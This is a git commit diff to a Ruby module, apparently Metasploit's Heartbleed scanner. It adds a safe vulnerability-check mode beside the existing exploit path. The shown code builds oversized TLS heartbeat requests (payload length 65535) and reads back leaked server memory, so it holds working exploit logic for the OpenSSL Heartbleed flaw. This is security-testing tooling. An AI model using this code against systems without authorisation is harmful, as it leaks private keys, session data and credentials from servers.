Add HeartBleed check functionality

bug/bundler_fix
David Chan 2014-04-12 00:07:00 -07:00
parent 6599999b8a
commit 6fafc10184
1 changed files with 24 additions and 3 deletions

View File

@ -226,7 +226,18 @@ class Metasploit3 < Msf::Auxiliary
res res
end end
def run_host(ip) def check_host(ip)
# TODO: this number can be lower
heartbeat_data = test_host(ip, 5000)
if heartbeat_data
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def test_host(ip, length = heartbeat_length)
connect connect
unless datastore['STARTTLS'] == 'None' unless datastore['STARTTLS'] == 'None'
@ -248,7 +259,7 @@ class Metasploit3 < Msf::Auxiliary
end end
vprint_status("#{peer} - Sending Heartbeat...") vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length)) sock.put(heartbeat(length))
hdr = sock.get_once(5) hdr = sock.get_once(5)
if hdr.blank? if hdr.blank?
vprint_error("#{peer} - No Heartbeat response...") vprint_error("#{peer} - No Heartbeat response...")
@ -284,7 +295,12 @@ class Metasploit3 < Msf::Auxiliary
end end
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...") vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length... sock.get_once(length) # Read the magic length...
end
def run_host(ip)
heartbeat_data = test_host(ip)
if heartbeat_data if heartbeat_data
print_good("#{peer} - Heartbeat response with leak") print_good("#{peer} - Heartbeat response with leak")
report_vuln({ report_vuln({
@ -321,6 +337,11 @@ class Metasploit3 < Msf::Auxiliary
payload = "\x01" # Heartbeat Message Type: Request (1) payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535 payload << [length].pack("n") # Payload Length: 65535
# handle safe detection
if length != heartbeat_length
payload << Array.new(length, 1).pack("C*") # Dummy values
end
ssl_record(HEARTBEAT_RECORD_TYPE, payload) ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end end